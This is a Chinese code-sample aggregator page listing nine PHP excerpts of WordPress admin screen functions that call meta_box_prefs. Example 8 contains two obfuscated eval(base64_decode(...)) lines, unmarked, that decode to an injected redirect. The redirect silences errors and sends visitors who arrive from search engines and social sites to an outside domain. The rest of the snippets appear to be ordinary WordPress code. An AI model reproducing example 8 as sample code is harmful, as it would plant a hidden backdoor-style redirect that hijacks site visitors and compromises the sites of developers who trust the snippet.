本文整理汇总了PHP中meta_box_prefs函数的典型用法代码示例。如果您正苦于以下问题:PHP meta_box_prefs函数的具体用法?PHP meta_box_prefs怎么用?PHP meta_box_prefs使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了meta_box_prefs函数的9个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: render_meta_boxes_preferences
/**
* Render the meta boxes preferences.
*
* @since 4.4.0
*
* @global array $wp_meta_boxes
*/
public function render_meta_boxes_preferences()
{
global $wp_meta_boxes;
if (!isset($wp_meta_boxes[$this->id])) {
return;
}
?>
<fieldset class="metabox-prefs">
<legend><?php
_e('Boxes');
?>
</legend>
<?php
meta_box_prefs($this);
if ('dashboard' === $this->id && has_action('welcome_panel') && current_user_can('edit_theme_options')) {
if (isset($_GET['welcome'])) {
$welcome_checked = empty($_GET['welcome']) ? 0 : 1;
update_user_meta(get_current_user_id(), 'show_welcome_panel', $welcome_checked);
} else {
$welcome_checked = get_user_meta(get_current_user_id(), 'show_welcome_panel', true);
if (2 == $welcome_checked && wp_get_current_user()->user_email != get_option('admin_email')) {
$welcome_checked = false;
}
}
echo '<label for="wp_welcome_panel-hide">';
echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked((bool) $welcome_checked, true, false) . ' />';
echo _x('Welcome', 'Welcome panel') . "</label>\n";
}
?>
</fieldset>
<?php
}
示例2: render_screen_options
/**
* Render the screen options tab.
*
* @since 3.3.0
*/
public function render_screen_options()
{
global $wp_meta_boxes;
$columns = get_column_headers($this);
$hidden = get_hidden_columns($this);
?>
<div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="<?php
esc_attr_e('Screen Options Tab');
?>
">
<form id="adv-settings" action="" method="post">
<?php
if (isset($wp_meta_boxes[$this->id]) || $this->get_option('per_page') || $columns && empty($columns['_title'])) {
?>
<h5><?php
_e('Show on screen');
?>
</h5>
<?php
}
if (isset($wp_meta_boxes[$this->id])) {
?>
<div class="metabox-prefs">
<?php
meta_box_prefs($this);
if ('dashboard' === $this->id && has_action('welcome_panel') && current_user_can('edit_theme_options')) {
if (isset($_GET['welcome'])) {
$welcome_checked = empty($_GET['welcome']) ? 0 : 1;
update_user_meta(get_current_user_id(), 'show_welcome_panel', $welcome_checked);
} else {
$welcome_checked = get_user_meta(get_current_user_id(), 'show_welcome_panel', true);
if (2 == $welcome_checked && wp_get_current_user()->user_email != get_option('admin_email')) {
$welcome_checked = false;
}
}
echo '<label for="wp_welcome_panel-hide">';
echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked((bool) $welcome_checked, true, false) . ' />';
echo _x('Welcome', 'Welcome panel') . "</label>\n";
}
?>
<br class="clear" />
</div>
<?php
}
if ($columns) {
if (!empty($columns['_title'])) {
?>
<h5><?php
echo $columns['_title'];
?>
</h5>
<?php
}
?>
<div class="metabox-prefs">
<?php
$special = array('_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname');
foreach ($columns as $column => $title) {
// Can't hide these for they are special
if (in_array($column, $special)) {
continue;
}
if (empty($title)) {
continue;
}
if ('comments' == $column) {
$title = __('Comments');
}
$id = "{$column}-hide";
echo '<label for="' . $id . '">';
echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked(!in_array($column, $hidden), true, false) . ' />';
echo "{$title}</label>\n";
}
?>
<br class="clear" />
</div>
<?php
}
$this->render_screen_layout();
$this->render_per_page_options();
echo $this->_screen_settings;
?>
<div><?php
wp_nonce_field('screen-options-nonce', 'screenoptionnonce', false);
?>
</div>
</form>
</div>
<?php
}
示例3: screen_meta
function screen_meta($screen)
{
global $wp_meta_boxes, $_wp_contextual_help, $wp_list_table, $wp_current_screen_options;
if (is_string($screen)) {
$screen = convert_to_screen($screen);
}
$columns = get_column_headers($screen);
$hidden = get_hidden_columns($screen);
$meta_screens = array('index' => 'dashboard');
if (isset($meta_screens[$screen->id])) {
$screen->id = $meta_screens[$screen->id];
$screen->base = $screen->id;
}
$show_screen = false;
if (!empty($wp_meta_boxes[$screen->id]) || !empty($columns)) {
$show_screen = true;
}
$screen_options = screen_options($screen);
if ($screen_options) {
$show_screen = true;
}
if (!isset($_wp_contextual_help)) {
$_wp_contextual_help = array();
}
$settings = apply_filters('screen_settings', '', $screen);
switch ($screen->id) {
case 'widgets':
$settings = '<p><a id="access-on" href="widgets.php?widgets-access=on">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off">' . __('Disable accessibility mode') . "</a></p>\n";
$show_screen = true;
break;
}
if (!empty($settings)) {
$show_screen = true;
}
if (!empty($wp_current_screen_options)) {
$show_screen = true;
}
$show_screen = apply_filters('screen_options_show_screen', $show_screen, $screen);
?>
<div id="screen-meta">
<?php
if ($show_screen) {
?>
<div id="screen-options-wrap" class="hidden">
<form id="adv-settings" action="" method="post">
<?php
if (isset($wp_meta_boxes[$screen->id])) {
?>
<h5><?php
_ex('Show on screen', 'Metaboxes');
?>
</h5>
<div class="metabox-prefs">
<?php
meta_box_prefs($screen);
?>
<br class="clear" />
</div>
<?php
}
if (!empty($columns)) {
?>
<h5><?php
echo isset($columns['_title']) ? $columns['_title'] : _x('Show on screen', 'Columns');
?>
</h5>
<div class="metabox-prefs">
<?php
$special = array('_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname');
foreach ($columns as $column => $title) {
// Can't hide these for they are special
if (in_array($column, $special)) {
continue;
}
if (empty($title)) {
continue;
}
if ('comments' == $column) {
$title = __('Comments');
}
$id = "{$column}-hide";
echo '<label for="' . $id . '">';
echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked(!in_array($column, $hidden), true, false) . ' />';
echo "{$title}</label>\n";
}
?>
<br class="clear" />
</div>
<?php
}
echo screen_layout($screen);
if (!empty($screen_options)) {
?>
<h5><?php
_ex('Show on screen', 'Screen Options');
?>
</h5>
<?php
}
echo $screen_options;
//.........这里部分代码省略.........
示例4: screen_meta
function screen_meta($screen) {
global $wp_meta_boxes, $_wp_contextual_help;
$screen = str_replace('.php', '', $screen);
$screen = str_replace('-new', '', $screen);
$screen = str_replace('-add', '', $screen);
$screen = apply_filters('screen_meta_screen', $screen);
$column_screens = get_column_headers($screen);
$meta_screens = array('index' => 'dashboard');
if ( isset($meta_screens[$screen]) )
$screen = $meta_screens[$screen];
$show_screen = false;
if ( !empty($wp_meta_boxes[$screen]) || !empty($column_screens) )
$show_screen = true;
?>
<div id="screen-meta">
<?php
if ( $show_screen ) :
?>
<div id="screen-options-wrap" class="hidden">
<h5><?php _e('Show on screen') ?></h5>
<form id="adv-settings" action="" method="get">
<div class="metabox-prefs">
<?php
if ( !meta_box_prefs($screen) && isset($column_screens) ) {
manage_columns_prefs($screen);
wp_nonce_field( 'hiddencolumns', 'hiddencolumnsnonce', false );
}
?>
<br class="clear" />
</div></form>
</div>
<?php
endif;
global $title;
if ( !isset($_wp_contextual_help) )
$_wp_contextual_help = array();
if ( !isset($_wp_contextual_help['post']) ) {
$help = drag_drop_help();
$help .= '<p>' . __('<a href="http://codex.wordpress.org/Writing_Posts" target="_blank">Writing Posts</a>') . '</p>';
$_wp_contextual_help['post'] = $help;
}
if ( !isset($_wp_contextual_help['page']) ) {
$help = drag_drop_help();
$_wp_contextual_help['page'] = $help;
}
if ( !isset($_wp_contextual_help['dashboard']) ) {
$help = drag_drop_help();
$_wp_contextual_help['dashboard'] = $help;
}
if ( !isset($_wp_contextual_help['link']) ) {
$help = drag_drop_help();
$_wp_contextual_help['link'] = $help;
}
if ( !isset($_wp_contextual_help['options-general']) )
$_wp_contextual_help['options-general'] = __('<a href="http://codex.wordpress.org/Settings_General_SubPanel" target="_blank">General Settings</a>');
$_wp_contextual_help = apply_filters('contextual_help_list', $_wp_contextual_help, $screen);
?>
<div id="contextual-help-wrap" class="hidden">
<?php
$contextual_help = '';
if ( isset($_wp_contextual_help[$screen]) ) {
if ( !empty($title) )
$contextual_help .= '<h5>' . sprintf(__('Get help with "%s"'), $title) . '</h5>';
else
$contextual_help .= '<h5>' . __('Get help with this page') . '</h5>';
$contextual_help .= '<div class="metabox-prefs">' . $_wp_contextual_help[$screen] . "</div>\n";
$contextual_help .= '<h5>' . __('Other Help') . '</h5>';
} else {
$contextual_help .= '<h5>' . __('Help') . '</h5>';
}
$contextual_help .= '<div class="metabox-prefs">';
$contextual_help .= __('<a href="http://codex.wordpress.org/" target="_blank">Documentation</a>');
$contextual_help .= '<br />';
$contextual_help .= __('<a href="http://wordpress.org/support/" target="_blank">Support Forums</a>');
$contextual_help .= "</div>\n";
echo apply_filters('contextual_help', $contextual_help, $screen);
?>
</div>
<div id="screen-meta-links">
<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
<a href="#contextual-help" id="contextual-help-link" class="show-settings"><?php _e('Help') ?></a>
</div>
<?php if ( $show_screen ) { ?>
<div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle">
<a href="#screen-options" id="show-settings-link" class="show-settings"><?php _e('Screen Options') ?></a>
//.........这里部分代码省略.........
示例5: render_screen_options
/**
* Render the screen options tab.
*
* @since 3.3.0
*/
public function render_screen_options()
{
global $wp_meta_boxes, $wp_list_table;
$columns = get_column_headers($this);
$hidden = get_hidden_columns($this);
$post = get_post();
?>
<div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="<?php
esc_attr_e('Screen Options Tab');
?>
">
<form id="adv-settings" action="" method="post">
<?php
if (isset($wp_meta_boxes[$this->id]) || $this->get_option('per_page') || $columns && empty($columns['_title'])) {
?>
<h5><?php
_e('Show on screen');
?>
</h5>
<?php
}
if (isset($wp_meta_boxes[$this->id])) {
?>
<div class="metabox-prefs">
<?php
meta_box_prefs($this);
if ('dashboard' === $this->id && has_action('welcome_panel') && current_user_can('edit_theme_options')) {
if (isset($_GET['welcome'])) {
$welcome_checked = empty($_GET['welcome']) ? 0 : 1;
update_user_meta(get_current_user_id(), 'show_welcome_panel', $welcome_checked);
} else {
$welcome_checked = get_user_meta(get_current_user_id(), 'show_welcome_panel', true);
if (2 == $welcome_checked && wp_get_current_user()->user_email != get_option('admin_email')) {
$welcome_checked = false;
}
}
echo '<label for="wp_welcome_panel-hide">';
echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked((bool) $welcome_checked, true, false) . ' />';
echo _x('Welcome', 'Welcome panel') . "</label>\n";
} elseif ('post' == $this->base && post_type_supports($this->post_type, 'post-formats') && apply_filters('enable_post_format_ui', true, $post)) {
// If the user has explicitly set a screen option, use it, otherwise the UI is shown
// when the theme supports formats, or if the site has formats assigned to posts.
$post_format_user_option = get_user_option('post_formats_' . $post->post_type);
if (false !== $post_format_user_option) {
$show_post_format_ui = (bool) $post_format_user_option;
} else {
$show_post_format_ui = current_theme_supports('post-formats') || (bool) get_terms('post_format', array('number' => 1));
}
if (!$show_post_format_ui && 'auto-draft' != $post->post_status) {
$meta = get_post_format_meta($post->ID);
$format_meta_keys = array('link' => array('linkurl'), 'image' => array('url', 'image'), 'quote' => array('quote_source_name', 'quote_source_url'), 'video' => array('video_embed'), 'audio' => array('audio_embed'));
// If there's any structured post format data, enforce the UI display.
$format_meta_keys = isset($format_meta_keys[get_post_format()]) ? $format_meta_keys[get_post_format()] : array();
foreach ($format_meta_keys as $key) {
if (!empty($meta[$key])) {
$show_post_format_ui = true;
}
}
}
echo '<label for="show_post_format_ui">';
echo '<input type="checkbox" id="show_post_format_ui"' . checked($show_post_format_ui, true, false) . ' />';
echo __('Post Formats') . "</label>\n";
}
?>
<br class="clear" />
</div>
<?php
}
if ($columns) {
if (!empty($columns['_title'])) {
?>
<h5><?php
echo $columns['_title'];
?>
</h5>
<?php
}
?>
<div class="metabox-prefs">
<?php
$special = array('_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname');
foreach ($columns as $column => $title) {
// Can't hide these for they are special
if (in_array($column, $special)) {
continue;
}
if (empty($title)) {
continue;
}
if ('comments' == $column) {
$title = __('Comments');
}
$id = "{$column}-hide";
echo '<label for="' . $id . '">';
echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked(!in_array($column, $hidden), true, false) . ' />';
//.........这里部分代码省略.........
示例6: screen_meta
function screen_meta($screen)
{
global $wp_meta_boxes, $_wp_contextual_help;
$screen = str_replace('.php', '', $screen);
$screen = str_replace('-new', '', $screen);
$screen = str_replace('-add', '', $screen);
$screen = apply_filters('screen_meta_screen', $screen);
$column_screens = get_column_headers($screen);
$meta_screens = array('index' => 'dashboard');
if (isset($meta_screens[$screen])) {
$screen = $meta_screens[$screen];
}
$show_screen = false;
$show_on_screen = false;
if (!empty($wp_meta_boxes[$screen]) || !empty($column_screens)) {
$show_screen = true;
$show_on_screen = true;
}
$screen_options = screen_options($screen);
if ($screen_options) {
$show_screen = true;
}
if (!isset($_wp_contextual_help)) {
$_wp_contextual_help = array();
}
$settings = '';
switch ($screen) {
case 'post':
if (!isset($_wp_contextual_help['post'])) {
$help = drag_drop_help();
$help .= '<p>' . __('<a href="http://codex.wordpress.org/Writing_Posts" target="_blank">Writing Posts</a>') . '</p>';
$_wp_contextual_help['post'] = $help;
}
break;
case 'page':
if (!isset($_wp_contextual_help['page'])) {
$help = drag_drop_help();
$_wp_contextual_help['page'] = $help;
}
break;
case 'dashboard':
if (!isset($_wp_contextual_help['dashboard'])) {
$help = '<p>' . __('The modules on this screen can be arranged in several columns. You can select the number of columns from the Screen Options tab.') . "</p>\n";
$help .= drag_drop_help();
$_wp_contextual_help['dashboard'] = $help;
}
break;
case 'link':
if (!isset($_wp_contextual_help['link'])) {
$help = drag_drop_help();
$_wp_contextual_help['link'] = $help;
}
break;
case 'options-general':
if (!isset($_wp_contextual_help['options-general'])) {
$_wp_contextual_help['options-general'] = __('<a href="http://codex.wordpress.org/Settings_General_SubPanel" target="_blank">General Settings</a>');
}
break;
case 'theme-install':
case 'plugin-install':
if ((!isset($_GET['tab']) || 'dashboard' == $_GET['tab']) && !isset($_wp_contextual_help[$screen])) {
$help = plugins_search_help();
$_wp_contextual_help[$screen] = $help;
}
break;
case 'theme-editor':
case 'plugin-editor':
$settings = '<p><a id="codepress-on" href="' . $screen . '.php?codepress=on">' . __('Enable syntax highlighting') . '</a><a id="codepress-off" href="' . $screen . '.php?codepress=off">' . __('Disable syntax highlighting') . "</a></p>\n";
$show_screen = true;
break;
case 'widgets':
if (!isset($_wp_contextual_help['widgets'])) {
$help = widgets_help();
$_wp_contextual_help['widgets'] = $help;
}
$settings = '<p><a id="access-on" href="widgets.php?widgets-access=on">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off">' . __('Disable accessibility mode') . "</a></p>\n";
$show_screen = true;
break;
}
?>
<div id="screen-meta">
<?php
if ($show_screen) {
?>
<div id="screen-options-wrap" class="hidden">
<form id="adv-settings" action="" method="post">
<?php
if ($show_on_screen) {
?>
<h5><?php
_e('Show on screen');
?>
</h5>
<div class="metabox-prefs">
<?php
if (!meta_box_prefs($screen) && isset($column_screens)) {
manage_columns_prefs($screen);
}
?>
<br class="clear" />
//.........这里部分代码省略.........
示例7: screen_meta
function screen_meta($screen)
{
global $wp_meta_boxes, $_wp_contextual_help, $title, $wp_list_table;
if (is_string($screen)) {
$screen = convert_to_screen($screen);
}
if (is_a($wp_list_table, 'WP_List_Table')) {
list($screen_columns) = $wp_list_table->get_column_headers();
}
$meta_screens = array('index' => 'dashboard');
if (isset($meta_screens[$screen->id])) {
$screen->id = $meta_screens[$screen->id];
$screen->base = $screen->id;
}
$show_screen = false;
if (!empty($wp_meta_boxes[$screen->id]) || !empty($screen_columns)) {
$show_screen = true;
}
$screen_options = screen_options($screen);
if ($screen_options) {
$show_screen = true;
}
if (!isset($_wp_contextual_help)) {
$_wp_contextual_help = array();
}
$settings = apply_filters('screen_settings', '', $screen);
switch ($screen->id) {
case 'widgets':
$settings = '<p><a id="access-on" href="widgets.php?widgets-access=on">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off">' . __('Disable accessibility mode') . "</a></p>\n";
$show_screen = true;
break;
}
if (!empty($settings)) {
$show_screen = true;
}
?>
<div id="screen-meta">
<?php
if ($show_screen) {
?>
<div id="screen-options-wrap" class="hidden">
<form id="adv-settings" action="" method="post">
<?php
if (isset($wp_meta_boxes[$screen->id])) {
?>
<h5><?php
_ex('Show on screen', 'Metaboxes');
?>
</h5>
<div class="metabox-prefs">
<?php
meta_box_prefs($screen);
?>
<br class="clear" />
</div>
<?php
}
if (!empty($screen_columns)) {
?>
<h5><?php
echo isset($screen_columns['_title']) ? $screen_columns['_title'] : _x('Show on screen', 'Columns');
?>
</h5>
<div class="metabox-prefs">
<?php
manage_columns_prefs($screen);
?>
<br class="clear" />
</div>
<?php
}
echo screen_layout($screen);
if (!empty($screen_options)) {
?>
<h5><?php
_ex('Show on screen', 'Screen Options');
?>
</h5>
<?php
}
echo $screen_options;
echo $settings;
?>
<div><?php
wp_nonce_field('screen-options-nonce', 'screenoptionnonce', false);
?>
</div>
</form>
</div>
<?php
}
// $show_screen
$_wp_contextual_help = apply_filters('contextual_help_list', $_wp_contextual_help, $screen);
?>
<div id="contextual-help-wrap" class="hidden">
<?php
$contextual_help = '';
if (isset($_wp_contextual_help[$screen->id])) {
$contextual_help .= '<div class="metabox-prefs">' . $_wp_contextual_help[$screen->id] . "</div>\n";
//.........这里部分代码省略.........
示例8: screen_meta
function screen_meta($screen)
{
global $wp_meta_boxes, $_wp_contextual_help;
$screen = str_replace('.php', '', $screen);
$screen = str_replace('-new', '', $screen);
$screen = str_replace('-add', '', $screen);
$screen = apply_filters('screen_meta_screen', $screen);
$column_screens = get_column_headers($screen);
$meta_screens = array('index' => 'dashboard');
if (isset($meta_screens[$screen])) {
$screen = $meta_screens[$screen];
}
$show_screen = false;
$show_on_screen = false;
if (!empty($wp_meta_boxes[$screen]) || !empty($column_screens)) {
$show_screen = true;
$show_on_screen = true;
}
$screen_options = screen_options($screen);
if ($screen_options) {
$show_screen = true;
}
if (!isset($_wp_contextual_help)) {
$_wp_contextual_help = array();
}
$settings = '';
switch ($screen) {
case 'post':
if (!isset($_wp_contextual_help['post'])) {
$help = drag_drop_help();
$help .= '<p>' . __('<a href="http://codex.wordpress.org/Writing_Posts" target="_blank">Writing Posts</a>') . '</p>';
$_wp_contextual_help['post'] = $help;
}
break;
case 'page':
if (!isset($_wp_contextual_help['page'])) {
$help = drag_drop_help();
$_wp_contextual_help['page'] = $help;
}
break;
case 'dashboard':
if (!isset($_wp_contextual_help['dashboard'])) {
$help = '<p>' . __('The modules on this screen can be arranged in several columns. You can select the number of columns from the Screen Options tab.') . "</p>\n";
$help .= drag_drop_help();
$_wp_contextual_help['dashboard'] = $help;
}
break;
case 'link':
if (!isset($_wp_contextual_help['link'])) {
$help = drag_drop_help();
$_wp_contextual_help['link'] = $help;
}
break;
case 'options-general':
if (!isset($_wp_contextual_help['options-general'])) {
$_wp_contextual_help['options-general'] = __('<a href="http://codex.wordpress.org/Settings_General_SubPanel" target="_blank">General Settings</a>');
}
break;
case 'theme-install':
case 'plugin-install':
if ((!isset($_GET['tab']) || 'dashboard' == $_GET['tab']) && !isset($_wp_contextual_help[$screen])) {
$help = plugins_search_help();
$_wp_contextual_help[$screen] = $help;
}
break;
case 'widgets':
if (!isset($_wp_contextual_help['widgets'])) {
$help = widgets_help();
$_wp_contextual_help['widgets'] = $help;
}
$settings = '<p><a id="access-on" href="widgets.php?widgets-access=on">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off">' . __('Disable accessibility mode') . "</a></p>\n";
$show_screen = true;
break;
}
?>
<div id="screen-meta">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if ($show_screen) {
?>
<div id="screen-options-wrap" class="hidden">
<form id="adv-settings" action="" method="post">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbm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ByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if (!meta_box_prefs($screen) && isset($column_screens)) {
manage_columns_prefs($screen);
}
?>
<br class="clear" />
</div>
//.........这里部分代码省略.........
示例9: render_screen_options
/**
* Render the screen options tab.
*
* @since 3.3.0
*/
public function render_screen_options()
{
global $wp_meta_boxes, $wp_list_table;
$columns = get_column_headers($this);
$hidden = get_hidden_columns($this);
?>
<div id="screen-options-wrap" class="hidden">
<form id="adv-settings" action="" method="post">
<?php
if ($this->get_option('overview')) {
echo $this->get_option('overview');
}
if (isset($wp_meta_boxes[$this->id])) {
?>
<h5><?php
_ex('Show on screen', 'Metaboxes');
?>
</h5>
<div class="metabox-prefs">
<?php
meta_box_prefs($this);
if ('dashboard' === $this->id && current_user_can('edit_theme_options')) {
echo '<label for="wp_welcome_panel-hide">';
echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked((bool) get_user_option('show_welcome_panel'), true, false) . ' />';
echo __('Welcome') . "</label>\n";
}
?>
<br class="clear" />
</div>
<?php
}
if (!empty($columns)) {
?>
<h5><?php
echo isset($columns['_title']) ? $columns['_title'] : _x('Show on screen', 'Columns');
?>
</h5>
<div class="metabox-prefs">
<?php
$special = array('_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname');
foreach ($columns as $column => $title) {
// Can't hide these for they are special
if (in_array($column, $special)) {
continue;
}
if (empty($title)) {
continue;
}
if ('comments' == $column) {
$title = __('Comments');
}
$id = "{$column}-hide";
echo '<label for="' . $id . '">';
echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked(!in_array($column, $hidden), true, false) . ' />';
echo "{$title}</label>\n";
}
?>
<br class="clear" />
</div>
<?php
}
$this->render_screen_layout();
$this->render_per_page_options();
echo $this->_screen_settings;
?>
<div><?php
wp_nonce_field('screen-options-nonce', 'screenoptionnonce', false);
?>
</div>
</form>
</div>
<?php
}